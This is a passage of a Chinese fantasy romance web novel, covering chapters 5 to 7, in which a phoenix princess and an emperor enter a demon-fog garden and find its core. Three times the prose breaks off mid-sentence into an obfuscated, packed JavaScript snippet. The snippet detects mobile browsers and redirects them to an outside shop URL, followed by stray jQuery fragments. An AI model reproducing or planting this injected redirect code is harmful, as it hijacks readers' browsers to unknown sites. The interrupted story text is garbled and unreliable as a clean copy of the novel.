“本不敢劳烦帝君,只是这次反噬,我等恐怕无人能近身。”
“还请帝君援手。”
凤山羽族身上向来比旁的种族多上几分傲气,尤其是凤山长老院,在外时总是一副高高在上目下无尘的模样。
此时竟是十足的谦卑姿态。
自千年前开始,四海八荒势力割据、各自为营,凤山羽族便是最先向昆仑墟投诚的。
凤凰神脉悍烈,没有长辈疏导,反噬难以被镇压。
彼时,也是为了那一场他们束手无策的血脉反噬,才求到了帝君寂渊面前。
这些年多亏有帝君援手,他们的女君才能安然无恙地撑过一次又一次的血脉反噬。
但长老们心知,这一次反噬,与以往的任何一次都不同。
寂渊轻叩桌面,神情疏淡:“什么时候?”
“还没有测算出具体的日期,但大约就是最近这一个月了……”
长老们小心翼翼地开口,生怕请求被拒。
谢清晏冷哼一声,他毫不留情地开口:“你们是好意思开口了,成年的血脉反噬哪里是那么轻易就能压下的?”
“如今赤水禁地异动,你们这群人,个个推脱没人没空,如今灵药倒是舍得往外给,人呢?”
几人对视一眼,咬牙:“赤水毗邻凤山,自然也是我等的责任,羽族必当竭力为帝君分忧。”
“等冬日试炼结束,便派羽族三千精锐先行前往支援赤水。”
谢清晏抱臂:“这还差不多。”
从长老院议事厅出来,夜色深浓,树影摇晃间洒下柔和的月影。
谢清晏打了个哈欠:“凤山这群老狐狸总算是松口了,之前来来回回沟通那么多次,话里话外都是托辞。”
“还得是事关他们的宝贝小凤凰,才肯松口。”
寂渊斜睨一眼,不轻不重的,谢清晏连忙噤声,用手在嘴上比了个噤声的手势。
差点忘了,不光凤山长老院,就连他们帝君也……
谢清晏幽幽地叹了一口气。
凤山长老恐怕不知道,四方殿测算出的日期,是先呈到了帝君案前,再转呈凤山。
而帝君私底下,早有布置。
还是多亏了他,才没让凤山那群老头子察觉,还狠狠地敲了一笔。
谢清晏眼底带上了几分嘚瑟。
“帝君,您受了伤,血脉之力减弱,此时若遇到凤凰血脉反噬,恐怕会加重您的伤势。”
月殊生来一张娃娃脸,此时却显得分外严肃,“若是能因势利导最好,万不可强行镇压。”
寂渊看了一眼天色,没有直接回复,转而问:“我记得,岐山有一只千年魇妖。”
“是,您记得不错。”关于这些事,谢清晏向来记得清楚,不必翻书文,也能清楚地给出信息。
“魇妖极难对付,神出鬼没,在岐山作乱多年,四方殿的悬赏卷轴已经挂了许久,还没有人能成功料理。”
说起这些,谢清晏滔滔不绝:“魇妖以梦境为食,可在梦中杀人,据说魇妖的内丹在炼化后可以让人免于噩梦。”
“如此无用的内丹,也没人会专程跑岐山一趟……”
说话间,寂渊眼前浮现的,却是郁离眼角将落未落的眼泪。
他微微蹙眉,心中烦闷。
就为了一个梦……
凤郁离,真出息。
寂渊懒散往前一步,冷声道:“我去一趟岐山。”
谢清晏瞪大眼:“此去岐山来回近万里,还要赶在明日进妖雾之前回来,帝君您!”
话还没说完,人落下一句:“那只寒鸦身上有古怪,盯好他。”
空间一阵扭曲,身影在眼前消失不见。
谢清晏、月殊:“……”
***
窗外雪停了,梧桐神木上都覆盖上厚厚一层雪,此时雾散风清,难得一个晴朗的雪天。
墨羽无声无息地出现,身形如鬼魅一般,带来了寒鸦的消息:“寒鸦名叫烛夜,母亲是爻山寒鸦烛氏一脉,百年前与一不知名妖鬼私奔。”
“烛氏女怀胎时,妖鬼已死,生下他便独自回了爻山。这些年,他应是流浪在外,听闻羽族正统皆出自凤山,便一路找了过来。”
郁离斜倚在窗棂边,望着窗外雪景,声音懒散:“这些年,他的流浪路径,还能查到吗?”
墨羽抿唇,沉默着摇头:“如今外面世道乱,这样一只血脉驳杂的寒鸦落在外面,并不稀奇,要找到他的踪迹,难。”
郁离:“那就先派人去爻山,寻到爻山烛氏女,查出他身上另一半的妖鬼血脉。”
若按这个说法,他的出生,也不过在短短百年间,又怎么会懂得上古大荒时早已失传的禁阵?
郁离蹙着眉,直觉有哪里不对。
墨羽得令,身化云雾消失。
不多时,一群毛绒绒的雪团子从窗棂外飞了进来,上下飞舞着为郁离梳妆换衣,帮不上忙的就坐在梳妆台上叽叽喳喳地聊天。
郁离捧着琉璃盏小口喝着竹枝子饮,一边想事,一边听着幼年毛啾说话。
“听说了吗?今日以及之后的试炼日程取消了。”
“据说是帝君来了,要去尘封的园圃净化妖雾,长老们便把试炼改到妖雾结界中了。”
“妖雾啊……这次我兄长可以进去,就是不知道等我成年,还有没有这样的机会了。”
郁离咬着竹制的吸管,偏了偏头:“妖雾?”
见女君感兴趣,小毛球说得更起劲。
“您不知道,前段时间半山园圃里长出了一颗雾核,没多久,妖雾就扩散至了整个园圃,在妖雾继续扩散之前,长老们联手把园圃封印起来了。”
“长老们判定这颗雾核的危险级,是罕见的极高危,一时也是束手无策。”
“这下好了,帝君进去净化妖雾,其他人的任务就是跟在后面清扫妖雾内异变的植物和寄生昆虫,再没有比这更好的实战训练了!”
小毛球们兴致勃勃,啾啾啾得十分高昂,仿佛自己已经身临其境,进入妖雾中了。
“妖雾啊,”郁离也被勾起了几分兴趣,有些心驰神往,“我也想进去看看。”
毛球们顿时噤声,豆大的眼睛对视着:这么危险的地方,女君怎么能去呢?
长老们要是知道,是他们让女君升起了兴趣,岂不是……
毛球们顿时安静下来,在梳妆台上蹲着安静如鸡,不敢吭声。
郁离撑着下巴,唇角翘起。
在梦里,她用心头血为烛夜治伤,又用无数珍稀灵药为他修复经脉,凤山上下,物议沸然。
彼时,正是羽族试炼的最
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627127|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后几天。
经历了前面几天的各项试炼,最后一项试炼的程序是,单对单擂台赛。
烛夜伤愈,跟在郁离身侧,满脸苍白,看起来弱不禁风似的。
羽族青年皆是不满这样下贱的血脉能站在女君身侧,纷纷出言嘲讽。于是烛夜跳上擂台,一人连挑百座擂台,技惊四座。
羽族尚武,烛夜表现出的强大战力与天赋,成功让所有对他不满的羽族暂时收声。
对于他加入凤山一事,无人再置喙,算是默认了。
这是他作为一个外来血脉,取得凤山羽族认可的第一步。
如今试炼忽然改制,没有郁离取血为他治伤,又生受了寂渊一击,此时病得爬不起来。
就算他有什么别的奇异之处,保住一条命不死,没了最后的擂台赛,自然也不会有在擂台赛上大放异彩的机会。
“小女君,帝君来了。”白羽带来的消息就像是一道特赦令,闻声战战兢兢的小毛球们顿时四散飞走,落到屋外的梧桐枝上。
寂渊昼夜疾行万里,带着一身夜露而来,进来时,脱下鸦青仙鹤纹的大氅,只着一身月白,看上去宽肩窄腰,身形颀长。
郁离看着他走近,目光带着纯然的欣赏。
羽族天然喜好整洁,喜欢一切美好的事物,包括……长得好看的人。
至少帝君寂渊,就是小凤凰郁离这么多年里见过的,长得最好看的一个。
骨碌碌——
一颗珠子散发着莹润的珠光,滚到郁离的面前。
“咦……?”
这颗珠子触手升温,外表像是镀了一层珠光,内部却似潜藏一片星云,拿在手上,里面星云流转,看上去流光溢彩,十分好看。
羽族都喜欢这种看上去亮晶晶,色彩十分绚丽的东西,郁离捧在掌心爱不释手。
“这是什么?”
寂渊动作随意,仿佛只是路边得来的小玩意,闻言只是淡淡道:“魇珠,魇妖的内丹。”
“压在枕下,可以少做点不吉利的梦。”
闻言,郁离吐了吐舌头,知道他是在说之前她做噩梦“咒他”的事。
“你要真这么容易被咒死,那这个帝君不如换我来做。”郁离小声嘀咕,但还是好好地把魇珠收到自己的荷包里。
寂渊不动声色地瞥她一眼,声线微凉:“历史上从没有哪个帝君,睡到晌午才起。”
郁离:“……”
看寂渊转身欲走,郁离叫住了他,眼巴巴地望着他:“你要进妖雾了吗?”
她眼底浅淡的金光覆盖了瞳孔。
这双眼落在旁人脸上,或许会带上几分漠视人性的非人之感,但在郁离脸上,却全然没有。
她的眼中,总有很多情绪。
此时,她的眼神,带着几分小动物的纯然无害,看上去可怜巴巴的。
“……你又想要什么?”晴朗的日光柔和了寂渊眉眼之间的霜意,说话间带着几分懒散,难得地好说话。
郁离嘴角翘起,笑得无害:“半山园圃,我从前常去的……”
“或许,你缺一个带路的吗?”
寂渊长眉一挑,似是没料到她会说这样的话:“你想去?”
郁离兴致勃勃地点头,转脸,眼底的光芒又黯淡下来,故作可怜地摇了摇头,声音低落:“长老们不会同意的。”
鸦羽低垂,在眼睑上洒下一片阴影,可怜兮兮。
寂渊垂在袖下的手指搓了搓指腹,见惯了她在有所求的时候摆出这副姿态,也没有拆穿。
“我带你进去,他们不会说什么。”
郁离眼底黯然一扫而空,喜笑颜开地冲过去抱了他一下。
寂渊颀长的身躯微僵,还未反应过来,郁离已经欢快地跑开了,连声呼唤着白羽。
“……”
“小没良心。”
寂渊缓缓抚平袖角的褶皱,声音浅淡不可闻。
5. 第五章
百年前,妖雾诡异地出现在四海八荒各处,凤山为了独善其身,保留羽族实力,开启封山大阵,近乎彻底与外界隔绝。
但是四海八荒格局大变,如今的凤山,早已不能如从前那般,只是冷眼旁观不入局了。
木长老看着广场上的羽族青年三三两两走在一处,自行结队。
捋了捋长须,目光感慨:“凤山隐世百年,新生一辈几乎都没有什么实战的经验,这一次,能跟着帝君进妖雾一趟,也算是他们的福气了。”
枭长老沉着脸,神情严肃,眼中带着担忧:“此举,会不会太过冒险?”
“有帝君在,他们出不了事,只是留在外围清扫一些异化植物动物罢了,”大长老哼笑一声,“这可是难得一遇的机会。”
“西边与昆仑墟接壤的山脉,连绵十几个山头,都被妖雾包裹了,这几年,我们派出去多少人,始终没有找到雾核所在。”
“此次帝君一出关,不过两日,就带着碾碎的雾核出来了。”
众长老叹息着摇头,心中俱是感慨,当年帝君从寂无之地走出来的时候,还不过是个清瘦的少年,看上去也没什么特别的。
彼时四海八荒乱了多年,虽有天授帝君降世,各方势力表面上宣告臣服,心里不知都打着算盘。
如今……
望着帝君出现的地方,众长老眼底皆是敬畏。
受天道之命降临八荒的帝君,带着与生俱来的使命,强悍得令所有人都心生畏惧,不敢生出半点不臣之心。
忽然,长老们的带着敬畏和感慨的目光一顿,几乎难以维持高深莫测的神情,面上表情龟裂。
那一道火红的身影……是小女君??
小女君怎么会和帝君一起站在封印的入口处??
众长老顿时坐不住了,目光震动地站了起来。
有长老按着胸口开始深呼吸:“妖雾?小女君也要进妖雾?”
“这这这……这怎么能行?”
几人下意识地就想要出言劝阻,但是目光远远地,触及到那一道不容置喙的身影,顿时觉得喉咙干涩,难以出声。
半晌,他们看见,一身洒金荔枝纹长裙的小女君,越过人群,远远地朝他们露出一个狡黠的笑容。
“……”
大长老长叹一口气,分心安抚众人:“帝君实力强盛,他身边二人,一人是月宫少主,一人是四方殿掌事,进出妖雾经验丰富。”
“在里面护住小女君,应不是问题。”
枭羽眼底震动,连声:“这怎么能行??”
“小女君出入皆是青鸟开道,羽卫随行,每天要备上一百零八样餐食,非练实不食,非醴泉不饮,穿戴皆是云霞织成。”
“帝君进去是去净化妖雾的,最多护着小女君不受伤!”
“但是这妖雾里,环境恶劣,小女君从未见过,她怎么受得了?!”
枭羽一想到里面种种恶劣的情形,就焦虑得在原地直打转。
“多脏啊,想到小女君的绣鞋会踩在那样的地上,我就……”
被他焦虑的情绪感染,原本已经放下心来的众长老也开始陷入了深深的焦虑。
小女君长这么大,哪吃过这种苦啊!
她从小长大,看到的都是清风明月,繁花遍地,妖雾里动辄血浆四溅,那样的画面……
怎么能让小女君看见???
众长老面色惨淡,如丧考妣地坐在高台上。
***
听闻这次凤山小女君也要同行,谢清晏惊闻噩耗,愁眉苦脸:“帝君真是……”
“你是说要带着那个普天之下最难伺候的小凤凰一起进去?疯了吧!”
“那群人跟疯子一样,出来要是他们的女君在里面碰掉了一根毛,不得跟咱们拼命?”
月殊瞥他一眼,“又不用你伺候,你叫唤个什么劲?”
“哦,”谢清晏看一眼跟在郁离身后,个个焦虑得要死的羽族羽卫,心情好了不少,幸灾乐祸地笑道,“那倒也是。”
“你是没看见他们长老院那群老妈子的脸色,难看死了。”
月殊无视谢清晏的碎碎念,检查着自己的随身药庐,里面常备的都是速效伤药、解毒丹等,又扒拉着,把收在最角落里的一些不常用的药放到了前面。
……
妖雾由长老院十二人联手设下封印,整个园圃的存在,都像是被人从凤山硬生生抹去了。
此时靠近了,才能看见上面经纬纵横的符文,像是无数道看不见的锁链,将园圃封印起来,让里面的气息不能泄露出半点。
寂渊负手而立,指尖灵光乍现,一道金色的符文如同灵蛇一般钻进了凤山园圃封印中。
纵横交错的符文顿时裂开了一道可供几人通行的“门”。
穿过门,就像是走过一层浅淡的白雾,封印短暂地开启又在身后关闭。
进来时,外面是流云浅淡的晴空,里面却是一片黑暗与血红交织而成的诡异空间。
扭曲的雾气,让原本园圃里生长的灵植,都变异成了扭曲的庞然大物,黑气熏天,张扬地舞动着。
半山园圃,从前是凤山最大的药圃,直到园中不知何时产生了异变,诞生了一颗雾核。
这是凤山封山以来,第一次有雾核在凤山结界内生成。
长老们分析,应当是照顾园圃的弟子,曾经有外出做任务的,将外面的种子带了回来。
自从妖雾在突然在四海八荒各处降临,各方纷纷猜测过妖雾的成因,如今还没有结果,只知道妖雾的核心是“雾核”。
雾核吞吐的妖雾会扭曲空间,被妖雾笼罩的空间,自成结界,实际上已经形成了另一处空间,如果有不知情的人误入,可能会被困在妖雾中难以走出。
妖雾的危险程度也由“雾核”决定,往往“雾核”本身越危险,造成的结界乃至里面的变异物种也会更危险。
这些基础的知识,郁离在凤山学宫里学过。
但当书本上的文字变成了现实,才发觉现实和书上寥寥几笔带过的文字迥然不同。
“引路吧,小凤凰。”寂渊的声音落在头顶,声线冷沉。
郁离却从这并无什么情绪的话里,听出了几分促狭。
郁离:“……”
看着眼前早已模样大变的园圃,别说引路了,郁离迟疑地看着脚下黑红的泥土,找不到一块可以落脚的地方。
原本适宜作物生长的泥土,此时质地改变,踩在上面软软的,像是踩在了某种活体动物的身上。
“应该……”郁离分辨着方向,迟疑着往前走,“是往这边走吧?”
刚往前走一步,郁离就倏然被一道力量提起,寂渊轻飘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627128|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
飘地把她拽了回来,放在靠近自己身侧的土地上。
眼前,看似平静的土地上,忽然伸出了一只巨大的黑色藤蔓,带着扭曲的黑气,啸叫着砸落,黑红的泥土顿时被砸出一个巨坑。
——若是刚才郁离往前走,此时眼前的巨坑里还会有个她。
“小心。”
郁离双眸圆睁,一脸惊异,寂渊出言提醒,常年带着几分沉郁的脸上,带上了点熹微浅淡的笑意。
郁离吓了一跳。
没看到寂渊是如何出手的,只见一道雪亮的剑光从高处斩下,在悍然无匹的力量之下,黑色藤蔓顿时化作一缕黑烟散去。
谢清晏蹲下,看着被帝君一剑斩开的裂缝,露出来的泥土里分布着密密麻麻的白色菌丝,分析道:
“异变开始时,长老院曾经深入寻找过雾核,没有找到,因为异变速度极快,初步分析是极高危的品种。”
他伸手时,那些菌丝仿佛有所察觉,触手一般往回缩,但谢清晏的手极快,快准狠地捉住了一缕,装在特制的琉璃瓶中。
“异变得最快的,就是这些菌丝,很快就渗透进了每一寸泥土,随着妖雾的扩张一起往外延伸。”
“雾核应该就在此类菌菇身上,或者与这些菌菇离得很近。”
谢清晏把琉璃瓶交给寂渊,寂渊看了一眼之后随意地丢给月殊。
“菌丝能异变得如此迅速,并且还在攫取着土地中的生命力,雾核就在菌丝的本体上。”
分辨菌丝究竟是何种菌菇生成就交给月殊。
一道领域在脚下无声展开,周围那些张牙舞爪的扭曲异植在刹那间好像变的十分遥远。
领域决,护。
霜雪清冽的气息将每个人都笼罩在领域中央,那些扭曲嘈杂的声音都在瞬间远离。
羽卫看得惊诧不已。“这就是……帝君的力量吗?”
这是用在扎营地的领域,能起到护佑的作用,保护营地不受邪物滋扰,通常需要三人列阵。
但此时,不用口诀,不用起阵,就这么随意地往前走了一步,近乎没看见他的出手,一道领域就在脚下生成,还会随着几人的移动而向前。
这就是……帝君的力量吗?
“顺着灵光方向走,能找到雾核。”
顺着地底菌丝发展的脉络,一道带着冷冷霜色的灵光蔓延向远方。
羽族几人看得叹为观止。
进入妖雾不出半刻钟,就这么把雾核所在地找到了??
能留到女君身边近身护卫的,都是羽族中的翘楚,他们也外出清扫过妖雾,所以才懂得这是多么匪夷所思的一件事。
在妖雾中寻找雾核,无疑是一个极其费神费力的过程,往往需要抽丝剥茧,反复试错。
却没想到……
就这么轻易地找到了?
动用过力量后,寂渊周身的气息显得更加凛冽而高不可攀,像是孤绝的山巅,带着奇绝的危险与惊心动魄的美。
站在寂渊身侧的郁离,更能直观的感觉到这种变化。
在这一瞬间,寂渊眼底不经意流露出的几分漠然,是纯然超脱的神性,令人心悸。
真好看。
“但是有点冷。”
郁离小声嘀咕。
寂渊淡淡看她,那股凛然不可攀的神性散去,周身恢复了温度。
6. 第六章
又过了一刻钟,封印正式开启,封印多日的半山园圃前出现一座古朴的大门,参加此次试炼的羽族众人鱼跃而入。
长老院众人身后化出各色的羽翼,飞至半空中,等待所有人都进去之后,再次关闭封印。
一面巨大的水镜在天幕上展开,水镜上映出妖雾内的情景。
不参加这次试炼的羽族,都聚集在广场上,紧张地看着水镜,在里面寻找自己族中子弟的身影。
虽说,有帝君顶在前面,这次进入妖雾想必不会出现什么意外。
但是他们都是新生一辈的幼崽,如今不过刚刚成年,终究缺乏实战的经验。
仅仅是面对妖雾中这些异变的灵植,也足够让他们满头大汗了。
众长老已经来来回回看了好几遍,没有找到那一道火红的身影,最后无奈地叹了一口气。
“虽然早就知道,水镜无法窥伺帝君行踪,但还是……”
“小女君吉人天相,一定会顺顺利利,平平安安,安安稳稳,无惊无险地出来……”有人嘴里碎碎念,叽里咕噜说了一串祝祷词。
水镜的另一边,是金色灵文写下的排行榜。
上面都是此次进入妖雾中子弟的姓名,若他们在妖雾中击杀异变灵植动物,就会在上面实时更新积分和排名。
广场中,很快发出一声惊呼。
只因一个,最开始沉在最底下的名字,忽然速度极快地往上攀升。
十分,一百分,五百分……
在其他名字还在几分几分地缓慢增加的时候,这个名字后面的数字滚动着增加,极快地攀升到了第一位。
“是……”
“女君啊。”
羽族臣民眼含热泪,看着女君的名字一路跃升到了榜首。
“女君是什么时候进去的?这太危险了!”有人担忧地拧紧眉头。
但更多的人,望着这个快速攀升的名字,激动地高呼:“女君!女君!女君!”
广场上,羽族臣民激动万分,他们高呼着郁离的名字。
但高台之上,知道内情的众长老却目光震动,难以置信。
“怎么会……女君她不是……”枭羽在最初的震惊、狂喜之后,又迅速黯然下来。
女君从未在人前出手。
非是不愿,而是不能。
一旦动用力量,极有可能会引起血脉反噬。
但是……
这又是怎么一回事?
“应当是出了什么差错吧。”
长老们的嘴唇嗫嚅着,目光紧紧盯着那个以绝尘之姿高挂在榜首的名字。
虽然都知道不可能,但是心底澎湃叫嚣的血液,却迟迟不能平静下来。
在所有人的注意力都落在天上水镜和排行榜上时,有个无人注意的角落,一道黑影顺着封印的裂隙,悄悄地流了进去。
一道苍白瘦长的人影,贴着地面缓缓形成,然后长高,直到变成了一个瘦削的青年。
青年面色苍白得过分,几无血色,不时干咳两声,一副短命之相。
“你是落单了吗?”
身后有两人结伴而行,看见他独自一人站在这,担心地询问道。
“妖雾里很危险,如果和同伴走失的话,不如先和我们一起吧,”少年笑着开口邀请道,“我们虽然不是很厉害,但是也杀了十几只异植了。”
“是啊。”青年仿佛很久没说话了,声音沙哑得过分,他缓缓转过脸,“我落单了。”
少年脸上的笑容冻结在脸上,他听到了同伴的尖叫,他面上缓缓露出一个疑惑的神情,但很快,他就发现自己什么声音都发不出来。
一道细长的,锋利的,黑色尖刺,就这样从青年的手中伸出,洞穿了他的咽喉。
而那一道黑色的尖刺,穿过他的咽喉,又从他同伴的背后穿了过去,刺穿了他的心口。
少年不解的看着,仿佛没懂,为什么会发生这样的变故。
妖雾里……
原来也有人形的怪物吗?
但他的疑问,永久地被埋藏了,少年瞪大了眼,没了声息。
“我落单了。”青年重复着,从他手中伸出的黑色尖刺,像是植物的经络一般,鼓动着,吸收着两具身躯的生命力。
他捂着心口,感受着空荡荡的胸口重新开始跳动,面上也渐渐有了血色:“不过,没关系。”
“我不会一直是一个人的。”
他仰头看着妖雾笼罩下,惨淡无色的天际,仿佛感知到了某一处存在,脸上露出了一个苍白诡异的笑容。
*
外界的羽族臣民因郁离而沸腾,但妖雾内的郁离还不知道发生了什么。
周围的异变植物被走在最前的谢清晏斩杀,留下的残躯堆在道路两旁,他们在极短的时间里,横跨数个区域,硬生生蹚出一条路来。
郁离走在满布菌丝的土地上,走得小心,谨慎,却感觉到前所未有的自由。
不是端坐在高台上,看着水镜中倒映出的画面,而是此时此刻,她就在这里。
眼前,灵光落在不远处,这里已经接近整个园圃的中心。
谢清晏起剑阵,清理出一片干净的地带,然后喘着气,将身体的大部分重量都倚靠在剑上:“靠,这也太多了。”
妖雾弥漫后,让原本园圃内密密麻麻的作物都发生了异变,而这一块,原本高大的作物生长得格外密集,近乎形成了一片扭动的黑海。
这群密集生长的异植暴戾嗜血,无差别地攻击着所有靠近的生物。
“咱们一路跨越了好几个区域,雾核应该就在这里面吧?”
比起他们之前穿过的几个区域,眼前的异植危险性直线上升。
饶是谢清晏见得多了,此时也不由感到有些头皮发麻。
寂渊抬手,指尖凝聚出一道弧形的紫色电光,电光游蛇般窜了出去,在离手的刹那,就化作遒劲危险的紫电,轰然落下。
紫电带着危险至极的气息斩落,顿时在眼前空地劈出一道深约三尺的沟壑,露出其下密密麻麻的白色菌丝。
几人看得头皮发麻。
此处的菌丝,比起入口处,又粗壮了数倍,盘根错节地交织在一块,此时它们在如同活物一般扭动着。
谢清晏看一眼郁离的神色,本以为她会受到惊吓,此时却不躲也不避地看着那些蠕动的根须,神情认真。
他不由得有几分惊讶。
一路走来,谢清晏收起了对这只传闻中的小凤凰的轻视。
谢清晏问:“小女君累不累,要休息吗?”
郁离微有不适,面色微微发白,闻言摇了摇头:“我没事。”
月殊蹲在地上,仔细辨认着菌丝的走向。
“应该就是这里了。”
谢清晏自觉地退后半步,把前面的位置让了出来:“虽然小爷一点都不累,正是手感火热的时候,但是还是让你发挥一下吧。”
“去吧,小兔子!”
月殊身形清瘦,又长了一张娃娃脸,看上去很好欺负的模样,闻言瞪了他一眼,然后蹦蹦跳跳地往前面去了。
月殊走过的地方,都洒下许多不知名的绿色丹雾,丹雾弥漫处,周边异植都迅速枯萎。
谢清晏手枕在头后面,吊儿郎当地给郁离解释:“这些东西太多了,要杀进去很麻烦。”
“但这里是药圃。”
谢清晏靠在剑上,冲着月殊努了努嘴:“他们月宫上的兔子,都是天生的药师,自小和各种各样的灵植药材打交道,处理这些异变的灵植,也很有一手。”
“他可以根据这些植物的形态,现场调配丹药。”
谢清晏是在为郁离解释,但目光却看着郁离身边神情过度紧张的羽卫们。
“喂,你们不用这么紧张吧?有帝君在,能出什么大事?”
羽卫不理他,把他的话当成耳旁风,谢清晏自觉没趣,不再多话。
眼前很快清理出一条
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627129|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可供几人通行的道路。
异植在丹雾扩散的范围迅速枯萎,远一些的,因为此处弥漫着的丹雾,都颇为忌惮似的不敢靠近。
月殊看着自己手中的药囊,神情疑惑:“奇怪,这次丹雾的效果……比预想中的好很多。”
“是吧,我也觉得这一次,小爷格外神勇,”谢清晏挥舞着手中的剑,眉飞色舞,“好像感觉不到疲惫似的,开了这么久的道,都不累。”
谢清晏隐晦地看了一眼进入妖雾后一直极少说话的寂渊,心说,难道是帝君在暗中出手了。
察觉到谢清晏的目光,寂渊目光微顿,片刻后指尖从领口摸出了一片轻薄柔软的金红羽毛。
“这是……”
谢清晏目光顿住。
他似乎感觉到什么,一只手伸进袖口探了探,竟也摸到一片同样的金红羽毛。
羽毛轻飘飘的,没有什么重量,拿在手里发着浅浅的金光,却给人一种很安心,很温暖的感觉。
“这是凤羽?!”
月殊耳朵抖了抖,一片凤羽也滑落到他的掌心,轻飘飘的,握在手里,却给人一种很安心的感觉。
“啊……”郁离踮着脚在看道路尽头是什么,听见他们惊讶的声音,扭过头,神情平常道,“没什么大用。”
“应该有一些趋吉避凶的作用吧。”
谢清晏、月殊惊讶地瞪大了眼:“……”
凤凰早已绝迹,如今只剩下这最后的一只。
众人只知道凤凰是天赐的灵物,一身有许多奇异之处。凤羽在外,更是有价无市,早已经炒到了天价。
她就这样当成能带来好运的护身符,神色平平地一人塞了一片??
郁离身后的羽卫对视一眼,也从自己身上找到了一片同样的凤羽。
和他们的反应不同,几名羽卫顿时觉得手中的凤羽重逾千斤,两只手捧着,犹觉得不够,觉得这一片小小的凤羽在手中烫得惊人。
“女君,这怎么能行,如此珍贵之物,您竟然就这么……”
“哎呀。”郁离摆了摆手,“以前换毛的时候,攒了一盒子。”
闻言,众羽卫更加激动,面色发红:“竟然……竟然还是女君幼年时的羽毛……”
原本有心想拒绝的几个羽卫,因为“女君幼崽期的羽毛”几个字,又顿时变得无法拒绝。
这太珍贵了。
回去一定要放在供桌上供起来!
几个身形高大的男人感动得眼泪汪汪:“多谢女君赐羽,属下必定好好供奉!”
“……”
来不及嘲笑凤山羽族这群脑残粉了。
谢清晏挠了挠头:“那个……”
“凤山尊贵的小女君,你这、那些不要的羽毛,要不再送我点?”
月殊瞥他一眼,小心翼翼地将那一片柔软的凤羽收进贴身的药囊。
“多谢女君赠羽。”
寂渊看了郁离一眼,她此时仿佛觉得很麻烦似的吐了吐舌头,背着手往他这边靠,目光求助地看着他。
她就是怕会出现这样的情况,才悄悄地贴到他们身上的。
“单是凤羽没什么大用。”
寂渊收回目光,凤羽也在掌心消失不见,沉声开口。
“上古时,神凤曾是四象神兽中战力最顶尖的,传说中凤凰能鼓舞士气,增幅战力。”
所以这其实是小凤凰的作用。
谢清晏的目光肃然起敬。
“难怪这一路,我都没觉得有多累,像是有使不完的力气似的。”
月殊也垂眸看着自己手心的药囊,难怪同样调配的丹雾,此次却发挥出了意料之外的效果。
郁离心里想着事,不知不觉已经靠到寂渊身边,衣角交织在一起,她喃喃低声:“有这么厉害?我怎么没听说过。”
“……”
感受到软软热热的身躯近乎已经贴了上来,寂渊面不改色地把郁离提溜到一边,容色淡淡:“站好。”
7. 第七章
穿过扭曲灵植形成的黑色海洋,中央竟有一片干干净净的空地。
中间是一棵体型优美的,如同水晶琉璃雕成一般的玉树,树根下,长着一株硕大的灵树菇。
在这样诡异扭曲的环境里,这棵树看起来异样的干净。
那些黑色扭曲的异植,就像是不敢靠近一般,拱卫着玉树。
看见这一幕,半晌无人说话。
“这就是雾核吗?”郁离从寂渊身侧探出头。
树下的灵树菇,半透明的菌柄中央包裹着一颗灰白色的核心。银白色的菌伞上一鼓一鼓,不时吐出一圈黑色的妖雾。
垂落下来的菌丝,死死地抱住了树根。
谢清晏面色难看地转过脸:“这是不死树。”
“月殊,不死树,怎么会出现在这里。”
不必他说,月殊也看见了,一张脸上,血色尽失,喃喃低声:“怎么会这样……”
“不死树?”
那不是传说里的神树吗?
郁离猫儿似的金瞳眨了眨:“这就是传说里,能炼制不死灵药的那棵不死树?”
月殊咬着牙,满头冷汗涔涔,小心看着寂渊的神色。
半晌,身侧传来一声意味不明的冷笑:“这世间哪有什么不死灵药。”
随着声音落下,周遭空气都似乎要被冻结一般,霜风凛冽,月殊紧张得毛都要炸了。
“东西看丢了,月宫未曾传来只字片语,你们从上到下,办的好事。”
寂渊长身玉立,周遭拢着一身霁雪,沉沉的威压几乎凝成实质,压得月殊喘不过气。
月殊面色白得过分:“我出来之前,还去禁地检查过,不死树还好好的,我也不知道……”
咬牙把未竟之语咽了回去,月殊狼狈低头:“不死树失窃,上下无人发现,是月宫失职。”
寂渊淡淡暼他,眼中没有什么多余的情绪。
月殊心里已经把此次负责看守的守卫上下骂了个遍。
不知道是哪个孙子办的好事,若是让他知道了,回去就给他拔了毛做成麻辣兔头。
月殊深呼一口气,上前道:“树已死,这颗灵树菇在抽取整座园圃里的植物灵气来养它。”
“庆幸妖雾形成不久,雾核也没有太多力量来供养它,此时不死树还没有异化完成,还没有酿成大祸。”
琉璃似的玉树,扎根在满布菌丝的泥土里,内部清晰可见有什么力量在流动的痕迹。
